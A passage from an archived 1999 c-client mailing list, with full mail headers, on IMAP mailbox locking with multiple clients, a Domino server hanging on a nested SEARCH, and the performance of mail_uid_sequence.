unix.c) is that if both clients try to open their streams in a read/write mode, the client that happens to be the second one kills the guy who happened to come first. This murder is comitted in the most brutal fashion: Second sends a series of SIGUSR2's, up to 15 bullets, one bullet per second, right in First's belly. Questions: 1. Am I right to understand that o the server side there's no queueing for RW clients at all? 2. How do the RW/RO and RO/RO pairs go togther? 3. see below. I read all the docs that are available, but didn't find an answer. A *** IMPORTANT *** note in Internal.Doc mentions external locks and thus seems to put the responsibility on the application, which, in this case, is imapd itself. The worst thing is that c-client doesn't give me the opportunity to find out that the mailbox is locked, mail_open just logs off and kicks me out. Am I missing something? Question 3: 3. Is it possible for a client to find out that the mailbox it's going to access is locked by some other RW guy before and/or instead of being forced to logoff? -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Sat Aug 21 19:09:18 1999 -0700 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Sat, 21 Aug 1999 19:09:18 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.01) with ESMTP id TAA00704 for ; Sat, 21 Aug 1999 19:09:17 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx1.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.08) with ESMTP id TAA30186; Sat, 21 Aug 1999 19:09:15 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id TAA11033; Sat, 21 Aug 1999 19:08:28 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id TAA38144 for ; Sat, 21 Aug 1999 19:06:53 -0700 Received: from ares.voicerite.com (totalcall.com [63.64.62.207]) by mxu4.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.06) with ESMTP id TAA19608 for ; Sat, 21 Aug 1999 19:06:41 -0700 Received: from ashvedov (ashvedov [192.168.1.38]) by ares.voicerite.com (8.8.3/8.8.3) with SMTP id UAA29343 for ; Sat, 21 Aug 1999 20:57:15 -0400 Message-Id: <05c401beec42$933b8260$2601a8c0@voicerite> Date: Sat, 21 Aug 1999 22:03:48 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Alex Shvedov" To: "DG C-CLIENT" Subject: Notes server hangs while mail_sort MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN UID SORT is not part of IMAP standard, but is still available as part of c-client. If some driver doesn't provide sorting, c-client is smart enough to use SEARCH which is part of IMAP standard and then sorts message numbers on-site. Version 4.6 of Domino IMAP4 server does not provide sorting on the server side, its capability response is just "IMAP4rev1". When I call mail_sort from the client, it sends SEARCH, not SORT, to the server, but then the server hangs forever, and the client is waiting in vain in tcp_getdata (see loginfo.txt attached). What can be wrong? This same code was tested against c-client-based imapd with imap_sort disabled (nullified) on the client side; it also used SEARCH, but it worked fine! I use imap toolkit version 4.4 on AIX. Any ideas? -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Sat Aug 21 19:11:09 1999 -0700 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Sat, 21 Aug 1999 19:11:09 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.01) with ESMTP id TAA11045 for ; Sat, 21 Aug 1999 19:11:08 -0700 (PDT) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx1.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.08) with ESMTP id TAA30212; Sat, 21 Aug 1999 19:11:06 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id TAA04685; Sat, 21 Aug 1999 19:10:17 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id TAA20474 for ; Sat, 21 Aug 1999 19:08:30 -0700 Received: from ares.voicerite.com (totalcall.com [63.64.62.207]) by mxu2.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.06) with ESMTP id TAA10265 for ; Sat, 21 Aug 1999 19:08:28 -0700 Received: from ashvedov (ashvedov [192.168.1.38]) by ares.voicerite.com (8.8.3/8.8.3) with SMTP id UAA29719 for ; Sat, 21 Aug 1999 20:59:15 -0400 Message-Id: <05d201beec42$dac71770$2601a8c0@voicerite> Date: Sat, 21 Aug 1999 22:05:48 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Alex Shvedov" To: "DG C-CLIENT" Subject: Notes server hangs while mail_sort - addendum MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_05CF_01BEEC21.5353A860" X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN This is a multi-part message in MIME format. ------=_NextPart_000_05CF_01BEEC21.5353A860 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Sorry - previous message had to have an attachment... ------=_NextPart_000_05CF_01BEEC21.5353A860 Content-Type: text/plain; name="loginfo.txt" Content-Transfer-Encoding: quoted-printable Content-Disposition: attachment; filename="loginfo.txt" here's where it hangs: (dbx) where unnamed block $b77, line 502 in "tcp_unix.c" tcp_getdata(stream =3D 0x2025ff28), line 502 in "tcp_unix.c" tcp_getline(stream =3D 0x2025ff28), line 420 in "tcp_unix.c" net_getline(0x20261f78), line 4518 in "mail.c" imap_reply(0x2025bdd8, 0x2ff1ec1c), line 2239 in "imap4r1.c" imap_sout(0x2025bdd8, 0x2ff1ec1c, 0x2025bf14, 0x2ff1ec14), line 2207 in = "imap4r1 .c" imap_send(0x2025bdd8, 0x200365e8, 0x2ff1f0d0), line 1958 in "imap4r1.c" imap_search(0x2025bdd8, 0x0, 0x2ff1f350, 0x0), line 1399 in "imap4r1.c" mail_search_full(0x2025bdd8, 0x0, 0x2ff1f350, 0x0), line 1759 in = "mail.c" unnamed block $b100, line 1519 in "imap4r1.c" unnamed block $b99, line 1519 in "imap4r1.c" imap_sort(0x2025bdd8, 0x0, 0x2ff1f350, 0x2ff1f330, 0x1), line 1519 in = "imap4r1.c " mail_sort(0x2025bdd8, 0x0, 0x2ff1f350, 0x2ff1f330, 0x1), line 3180 in = "mail.c" here's the log: [08/21 21:42:31.692] DLOG/0: * OK Domino IMAP4 Server Release 4.6 ready = Sat, 21=20 Aug 1999 21:49:33 -0400 [08/21 21:42:31.701] DLOG/0: 00000000 CAPABILITY [08/21 21:42:31.708] DLOG/0: * CAPABILITY IMAP4rev1 [08/21 21:42:31.712] DLOG/0: 00000000 OK CAPABILITY completed [08/21 21:42:31.727] DLOG/0: 00000001 LOGIN imap02 imapi [08/21 21:42:32.669] DLOG/0: 00000001 OK LOGIN completed [08/21 21:42:32.712] DLOG/0: 00000002 EXAMINE INBOX [08/21 21:42:32.116] DLOG/0: * 5 EXISTS [08/21 21:42:32.120] DLOG/0: * 0 RECENT [08/21 21:42:32.123] DLOG/0: * OK [UNSEEN 3] Message 3 is first unseen [08/21 21:42:32.126] DLOG/0: * OK [UIDVALIDITY 1] UIDs valid [08/21 21:42:32.131] DLOG/0: * FLAGS (\Flagged \Seen \Answered \Deleted = \Draft) [08/21 21:42:32.134] DLOG/0: 00000002 OK [READ-ONLY] EXAMINE completed [08/21 21:42:32.144] DLOG/0: 00000003 SEARCH ALL OR (ALL OR (ALL OR (ALL = OR (ALL LARGER 1) (ALL LARGER 1)) (ALL OR (ALL LARGER 1) (ALL LARGER 1))) (ALL = OR (ALL=20 OR (ALL LARGER 1) (ALL LARGER 1)) (ALL OR (ALL LARGER 1) (ALL LARGER = 1)))) (ALL=20 OR (ALL OR (ALL OR (ALL LARGER 1) (ALL LARGER 1)) (ALL OR (ALL LARGER 1) = (ALL LA RGER 1))) (ALL OR (ALL OR (ALL LARGER 1) (ALL LARGER 1)) (ALL OR (ALL = LARGER 1)=20 (ALL LARGER 1)))) ------=_NextPart_000_05CF_01BEEC21.5353A860-- -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Sat Aug 21 19:30:59 1999 -0700 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Sat, 21 Aug 1999 19:30:59 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.01) with ESMTP id TAA10698 for ; Sat, 21 Aug 1999 19:30:57 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx2.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.08) with ESMTP id TAA25027; Sat, 21 Aug 1999 19:30:55 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id TAA26799; Sat, 21 Aug 1999 19:30:09 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id TAA22768 for ; Sat, 21 Aug 1999 19:28:35 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (pth@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu3.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.06) with ESMTP id TAA26477 for ; Sat, 21 Aug 1999 19:28:34 -0700 Message-Id: Date: Sat, 21 Aug 1999 19:29:00 -0700 (Pacific Daylight Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Alex Shvedov Cc: DG C-CLIENT Subject: Re: Notes server hangs while mail_sort In-Reply-To: <05c401beec42$933b8260$2601a8c0@voicerite> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: MRC@shivams.cac.washington.edu X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Sat, 21 Aug 1999, Alex Shvedov wrote: > What can be wrong? What kind of SEARCHPGM are you supplying to be doing all those ORs? It's probably a server bug that it hangs with such an absurd search, but how/why are you generating it? From pinedev@shivax2.cac.washington.edu Sat Aug 21 19:35:20 1999 -0700 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Sat, 21 Aug 1999 19:35:20 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.01) with ESMTP id TAA11165 for ; Sat, 21 Aug 1999 19:35:19 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.08) with ESMTP id TAA30537; Sat, 21 Aug 1999 19:35:17 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id TAA26936; Sat, 21 Aug 1999 19:34:42 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id TAA20424 for ; Sat, 21 Aug 1999 19:33:27 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (sarr@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu4.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.06) with ESMTP id TAA20768 for ; Sat, 21 Aug 1999 19:33:27 -0700 Message-Id: Date: Sat, 21 Aug 1999 19:33:58 -0700 (Pacific Daylight Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Alex Shvedov Cc: DG C-CLIENT Subject: Re: How does imapd treat multiple conns to the same account? In-Reply-To: <05b001beec3b$5915a950$2601a8c0@voicerite> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: MRC@shivams.cac.washington.edu X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Sat, 21 Aug 1999, Alex Shvedov wrote: > I have the impression that simultaneous connections to one > account are "almost" impossible. Just with the default UNIX format of mail. No problem with most other formats. > 1. Am I right to understand that o the server side there's no > queueing for RW clients at all? Right. You shouldn't have multiple clients. > 2. How do the RW/RO and RO/RO pairs go togther? An RO client doesn't lock and doesn't care if the mailbox is locked, which means that it gets clobbered if the RW client makes any modification. However, since it's RO, no damage to the mailbox happened if it gets clobbered, so you're allowed to take the risk. You aren't allowed to take the risk with multiple RW clients since it's more than a session that gets clobbered, the mailbox itself can be clobbered. > The worst thing is that c-client doesn't give me the opportunity > to find out that the mailbox is locked, mail_open just logs off > and kicks me out. Am I missing something? There's no way to do it in IMAP protocol. The IMAP protocol was not designed for crufty old mailbox formats that aren't ameniable for multiple RW with external software. > 3. Is it possible for a client to find out that the mailbox it's > going to access is locked by some other RW guy before and/or > instead of being forced to logoff? No. From pinedev@shivax2.cac.washington.edu Sun Aug 22 09:38:12 1999 -0700 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Sun, 22 Aug 1999 09:38:12 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.01) with ESMTP id JAA22110 for ; Sun, 22 Aug 1999 09:38:11 -0700 (PDT) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx1.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.08) with ESMTP id JAA08205; Sun, 22 Aug 1999 09:38:09 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id JAA13471; Sun, 22 Aug 1999 09:36:29 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id JAA08216 for ; Sun, 22 Aug 1999 09:34:39 -0700 Received: from ares.voicerite.com (totalcall.com [63.64.62.207]) by mxu4.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.06) with ESMTP id JAA16499 for ; Sun, 22 Aug 1999 09:34:14 -0700 Received: from ashvedov (ashvedov [192.168.1.38]) by ares.voicerite.com (8.8.3/8.8.3) with SMTP id LAA21742; Sun, 22 Aug 1999 11:24:27 -0400 Message-Id: <065e01beecbb$b8d26bf0$2601a8c0@voicerite> Date: Sun, 22 Aug 1999 12:31:00 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Alex Shvedov" To: "Mark Crispin" Cc: "DG C-CLIENT" Subject: Re: Notes server hangs while mail_sort References: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN > What kind of SEARCHPGM are you supplying to be doing all those ORs? > It's probably a server bug that it hangs with such an absurd search, but > how/why are you generating it? I need to sort by ARRIVAL amongst messages that have one of up to 10 given words in FROM, like The list of words to be searched in FROM may be empty ("sort all" situation). Since IMAP allows me to OR only 2 arguments (RFC2060, p.39), I have to build a tree of 1+2+4+8+16 search programs, 1+2+4+8 of which serve the only purpose of ORing, 6 of the lower-level 16 are to be plugged in somehow and only 10 of these 16 are actually used. As you see, 16 appears here only because 8<10. Question 1: does anyone know any other way of ORing? Problems: 1. how to deal with "sort all". 2. how to fill in 6 fake programs; Problem 1. In "sort all" case all 16 programs are to be trivial. I tried empty program (ALL FROM "") and found out that it works fine with c-client based imapd of 12.254 version (AA FROM "" returns all messages), but not with 10.190 or 10.223 versions (ALL FROM "" returns 0 messages). So I have to use some other triviality instead of ALL FROM "" in "sort all" case; I've chosen ALL LARGER 1 as something that's always true. Later I found out that Domino 4.6 replies "NO SEARCH Searching by size (SMALLER, LARGER) is not supported" (!!!), but that's another story, which simply indicates that Domino 4.6 is NOT 100% IMAP4r1. Question 2: if my tree ORing scheme has no alternatives, what to use in all 16 programs in "sort all" case? Problem 2. Actually, it's solution depends on solution of Problem 1, because if I have at least 1 word to search for, I just put the first word I have in all 16 programs, so if I want all messages from Marc or Alex, I search for Marc|Alex|Marc|Marc|...|Marc (1 time Alex and 15 times Marc). Related question 3: is there any way to put a wildcard in a search program? Neither * nor % work. Another story once again: Domino 4.6 proved to be not 100% IMAP, that's why it hangs on my search program of ORing depth equal to 4. I think it's a bug. Domino's reply to CAPABILITY is "IMAP4rev1". Terse. I didn't try Domino 5.0. From pinedev@shivax2.cac.washington.edu Mon Aug 23 11:16:08 1999 -0700 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Mon, 23 Aug 1999 11:16:07 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.01) with ESMTP id LAA08871 for ; Mon, 23 Aug 1999 11:16:06 -0700 (PDT) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx1.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.08) with ESMTP id LAA31902; Mon, 23 Aug 1999 11:16:05 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id LAA10747; Mon, 23 Aug 1999 11:13:47 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id LAA25178 for ; Mon, 23 Aug 1999 11:12:15 -0700 Received: from mailgw1.netvision.net.il (mailgw1.netvision.net.il [194.90.1.14]) by mxu3.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.06) with ESMTP id LAA24258 for ; Mon, 23 Aug 1999 11:12:13 -0700 Received: from unity-ex.icomverse.com (unity-ex.icomverse.com [199.203.140.35]) by mailgw1.netvision.net.il (8.9.3/8.9.3) with ESMTP id VAA18723 for ; Mon, 23 Aug 1999 21:12:09 +0300 Received: by UNITY-EX.QUANTUM.icomverse.com with Internet Mail Service (5.5.2448.0) id ; Mon, 23 Aug 1999 21:12:05 +0300 Message-Id: <71230E2CB02FD31181710004AC1509D70EAD21@UNITY-EX.QUANTUM.icomverse.com> Date: Mon, 23 Aug 1999 21:11:55 +0300 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Rubinstein, Dmitry" To: "'c-client@u.washington.edu'" Subject: mail_uid_sequence: a performance hog MIME-Version: 1.0 Content-Type: text/plain; charset="koi8-r" X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi, all! There is a code in mail_uid_sequence() (mail.c), that deals with the '*' in uid sequences. Basically it calls mail_uid() in order to discover what uid stands for '*', and then passes on to the generic code (get the corresponding sequence IDs, make a loop to set the Sequence flag for appropriate messages). An alternative approach would be to consider '*' a special case that demands no calls to mailbox driver at all. That is, if we have a sequence '5:*', we find the sequence ID of '5', and then make a loop from '5' to stream->nmsgs. The current approach is somewhat unefficient. The effect is probably minimal when considering mailbox drivers that are based on file system, becomes evident when considering mailbox driver that work over the net (like IMAP driver), and becomes unbearable when you try to make certain optimizations while serving as middleware between a real server and a client. Wouldn't it be better to make a special treatment of '*'? TIA, -- Dmitry Rubinstein -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Aug 23 12:18:36 1999 -0700 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Mon, 23 Aug 1999 12:18:36 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.01) with ESMTP id MAA10106 for ; Mon, 23 Aug 1999 12:18:35 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx1.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.08) with ESMTP id MAA00845; Mon, 23 Aug 1999 12:18:33 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id MAA20641; Mon, 23 Aug 1999 12:16:59 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id MAA21382 for ; Mon, 23 Aug 1999 12:15:55 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (rambo@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu4.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.06) with ESMTP id MAA25516 for ; Mon, 23 Aug 1999 12:15:55 -0700 Message-Id: Date: Mon, 23 Aug 1999 11:59:38 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: "Rubinstein, Dmitry" Cc: "'c-client@u.washington.edu'" Subject: re: mail_uid_sequence: a performance hog In-Reply-To: <71230E2CB02FD31181710004AC1509D70EAD21@UNITY-EX.QUANTUM.icomverse.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I don't understand your comment about the IMAP driver. If you're using IMAP, then mail_uid_sequence() is generally never called. If you give it a UID sequence, that sequence as text is passed to the IMAP server. I don't see any situation in which you can have the purported "unbearable" problem in unmodified c-client code. Even in the one case (overviews, which aren't part of IMAP) where the IMAP driver can call mail_uid_sequence(), the worst that'll have is a fetch of the UID for the message with sequence matching stream->nsgs. Once the UID is fetched for that message, it's cached and isn't fetched again. If you're modifying the code to do IMAP UID sequence parsing locally, then you can just as easily also make the type of modification that you suggest to accomodate your other modification. In general, I don't want to get into the business of changing c-client to make someone's modification more efficient, especially if the result is larger and more obtuse code. If it makes no difference in unmodified c-client, then there isn't any benefit to putting it in into unmodified c-client. In any case, a better programming technique is to use sequence numbers whenever possible. UIDs are never the preferred way to get at messages if you have the sequence number available. Applications which try to think that "all the world is UID" will never be able to use c-client (or IMAP) as effectively as those which use both UIDs and sequence numbers, choosing the one that is appropriate for the task at hand. From pinedev@shivax2.cac.washington.edu Mon Aug 23 12:47:25 1999 -0700 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Mon, 23 Aug 1999 12:47:24 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.01) with ESMTP id MAA06861 for ; Mon, 23 Aug 1999 12:47:23 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.08) with ESMTP id MAA29110; Mon, 23 Aug 1999 12:47:22 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id MAA10097; Mon, 23 Aug 1999 12:46:15 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id MAA53656 for ; Mon, 23 Aug 1999 12:45:44 -0700 Received: from mailgw1.netvision.net.il (mailgw1.netvision.net.il [194.90.1.14]) by mxu2.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.06) with ESMTP id MAA16287 for ; Mon, 23 Aug 1999 12:45:43 -0700 Received: from unity-ex.icomverse.com (unity-ex.icomverse.com [199.203.140.35]) by mailgw1.netvision.net.il (8.9.3/8.9.3) with ESMTP id WAA28981 for ; Mon, 23 Aug 1999 22:45:39 +0300 Received: by UNITY-EX.QUANTUM.icomverse.com with Internet Mail Service (5.5.2448.0) id ; Mon, 23 Aug 1999 22:45:35 +0300 Message-Id: <71230E2CB02FD31181710004AC1509D70EAD25@UNITY-EX.QUANTUM.icomverse.com> Date: Mon, 23 Aug 1999 22:45:27 +0300 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Rubinstein, Dmitry" To: "'c-client@u.washington.edu'" Subject: RE: mail_uid_sequence: a performance hog MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN > From: Mark Crispin [mailto:MRC@CAC.Washington.EDU] > > I don't understand your comment about the IMAP driver. If > you're using IMAP, > then mail_uid_sequence() is generally never called. If you > give it a UID > sequence, that sequence as text is passed to the IMAP server. I can't see how it can be. The function mail_uid_sequence() is being called from imapd.c every time a UID FETCH (and not only it) is issued. Once this function is called, and once the sequence has '*' in it, a call to mail_uid() is issued, which, in case the UID is not already there, causes a fetch of UID (over network, in case of IMAP driver), which might have been spared. > I don't see any situation in which you can have the purported > "unbearable" > problem in unmodified c-client code. Consider a client of a 'middleware' server sending the following command: 1 UID FETCH 1:* FLAGS We'd like this command to go to the 'real' IMAP server unchanged. At the same time we'd like to be able to start sending the data to the client as soon as it (the data) arrives, without waiting for the whole response from the real server. Therefore we're facing the necessity of prepending this command by another one: 2 UID FETCH * UID It's not a _very_ good thing, but it's OK. However, in our application (not in the c-client part, which goes in virtually with no changes at all, at least not the IMAP stuff), the mailbox is constructed on the fly (and there are additional complications), which means that fetching the UID of the last message will result in fetch of all messages. Now it gets ugly. You have to wait for a result of a pretty heavy command in order to learn something you don't really need to know. > Even in the one case > (overviews, which > aren't part of IMAP) where the IMAP driver can call > mail_uid_sequence(), the > worst that'll have is a fetch of the UID for the message with sequence > matching stream->nsgs. Once the UID is fetched for that > message, it's cached > and isn't fetched again. Sorry, perhaps I haven't phrased my previous letter clearly enough. The calls to mail_uid_sequence are performed by the 'application' in terms of c-client (in my case - by imapd.c). > If you're modifying the code to do IMAP UID sequence parsing > locally, then you > can just as easily also make the type of modification that > you suggest to > accomodate your other modification. Actually I try to stick to c-client as much as possible, including the sequences parsing. > In any case, a better programming technique is to use sequence numbers > whenever possible. UIDs are never the preferred way to get > at messages if you > have the sequence number available. Applications which try > to think that "all > the world is UID" will never be able to use c-client (or > IMAP) as effectively > as those which use both UIDs and sequence numbers, choosing > the one that is > appropriate for the task at hand. The client I'm using for testing is mainly Netscape Messenger. It uses UIDs _only_. I believe Outlook Express does the same. What can I do but optimize for UIDs? -- Dmitry Rubinstein From pinedev@shivax2.cac.washington.edu Mon Aug 23 13:08:44 1999 -0700 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Mon, 23 Aug 1999 13:08:44 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.01) with ESMTP id NAA10923 for ; Mon, 23 Aug 1999 13:08:43 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.08) with ESMTP id NAA02088; Mon, 23 Aug 1999 13:08:41 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id NAA07671; Mon, 23 Aug 1999 13:07:35 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id NAA18374 for ; Mon, 23 Aug 1999 13:06:53 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (cni@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu3.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.06) with ESMTP id NAA08950 for ; Mon, 23 Aug 1999 13:06:53 -0700 Message-Id: Date: Mon, 